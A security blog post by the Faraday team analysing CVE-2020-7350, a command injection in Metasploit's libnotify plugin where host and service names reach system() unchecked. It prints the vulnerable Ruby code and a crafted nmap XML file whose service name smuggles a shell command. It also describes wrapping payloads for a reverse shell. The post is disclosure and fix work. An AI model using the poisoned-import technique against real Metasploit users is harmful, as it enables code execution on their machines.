Analysis of CVE 2020 7350
Introduction
In the previous months, our team has been working over a Metasploit plugin to integrate it with Faraday. The plugin named as faraday_bridge tries to synchronize the information about hosts, service, or vulnerabilities between both tools. It would be available for the public in a short period of time, I guess. 🐌
We found inspiration in the libnotify and accidentally found a bug.
The vulnerability is not enabled by default, only users with the libnotify plugin enabled could be exploited, but we wrote the exploit just for fun.
What is libnotify?
libnotify is a plugin that displays a message through the system bar in order to inform us about new hostname or services detected, e.g.

Vulnerability details
As we said this plugin gives us information about discovered hosts or services through the system bar, to achieve this goal, the plugin registers many callbacks triggered when a new host or service is recognized:
1 def initialize(framework, opts)
2 super
3
4 @bin = opts[:bin] || opts['bin'] || `which notify-send`.chomp
5 @bin_opts = opts[:opts] || opts['opts'] || '--app-name=Metasploit'
6
7 raise 'libnotify not found' if @bin.empty?
8
9 self.framework.events.add_session_subscriber(self)
10 self.framework.events.add_db_subscriber(self)
the 4th line loads @bin with the full-path of the binary notify-send, and the last one adds an event subscriber to the database messages.
If the current workspace detects or modify any information about the hosts or services the following chunk would be executed:
def on_db_host(host)
notify_send('normal', 'New host',
"Addess: #{host.address}\nOS: #{host.os_name}")
end
def on_db_host_state(host, ostate)
notify_send('normal', "Host #{host.address} changed",
"OS: #{host.os_name}\nNb Services: #{host.service_count}\nNb vulns: #{host.vuln_count}\n")
end
def on_db_service(service)
notify_send('normal', 'New service',
"New service: #{service.host.address}:#{service.port}")
end
def on_db_service_state(service, port, ostate)
notify_send('normal', "Service #{service.host.address}:#{service.port} changed",
"Name: #{service.name}\nState: #{service.state}\nProto: #{service.proto}\nInfo: #{service.info}")
end
last but not least we have the notify_send, which does a system call executing the binary notify-send without any kind of checks about command injection vulnerabilities:
def notify_send(urgency, title, message)
system("#{@bin} #{@bin_opts} -u #{urgency} '#{title}' '#{message}'")
and the window appears:

If we tamper the host or service name we would be able to inject commands to execute whatever we want in the system call.
unfortunately, there is not an easy way to do that, because most of the info is calculated through fingerprint. But we can exploit it if we import the names from another tool
the following XML, is an nmap scan to 192.168.20.121 with the service name manipulated:
1 <?xml version="1.0" encoding="UTF-8"?>
2 <!DOCTYPE nmaprun>
3 <nmaprun scanner="nmap" args="nmap -P0 -oA pepito 192.168.20.121" start="1583503480" startstr="Fri Mar 6 11:04:40 2020" version="7.60" xmloutputversion="1.04">
4 <host starttime="1583503480" endtime="1583503480"><status state="up" reason="user-set" reason_ttl="0"/>
5 <address addr="192.168.20.121" addrtype="ipv4"/>
6 <hostnames>
7 </hostnames>
8 <ports>
9 <port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="ssh';ls -la" method="table" conf="3"/></port>
10 </ports>
11 <times srtt="6174" rttvar="435" to="100000"/>
12 </host>
13 <runstats><finished time="1583503480" timestr="Fri Mar 6 11:04:40 2020" elapsed="0.22" summary="Nmap done at Fri Mar 6 11:04:40 2020; 1 IP address (1 host up) scanned in 0.22 seconds" exit="success"/><hosts up="1" down="0" total="1"/>
14 </runstats>
15 </nmaprun>
the poisoned string is in the 9th line:
<port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="0"/><service name="ssh';ls -la" method="table" conf="3"/></port>
</ports>
we will append an ls command to the original command, and this command will be fired after import it:

Limitations
the Metasploit’s payloads available for command injection are:

most of them are encoded with base64, for example:

those payloads can’t run successfully because the XML decoder used in Metasploit called ‘Nikigiri’ decode the payload as lower case. To overcome this, we wrapper the payload in a python one liner:

Now we are able to run payloads with upper and lower cases indifferently.
Pwning Metasploit with Metasploit
We made the pull request fixing the vulnerability and also delivering the fileformat module to exploit it, now we can own Metasploit with Metasploit:

in the following video, we have a scenario with a victim and attacker machine triggering the vulnerability with a reverse shell payload
Javier Aguinaga from Faraday Team
https://www.faradaysec.com
https://github.com/infobyte/faraday
https://twitter.com/faradaysec
https://www.instagram.com/faradaysec/
https://www.linkedin.com/company/faradaysec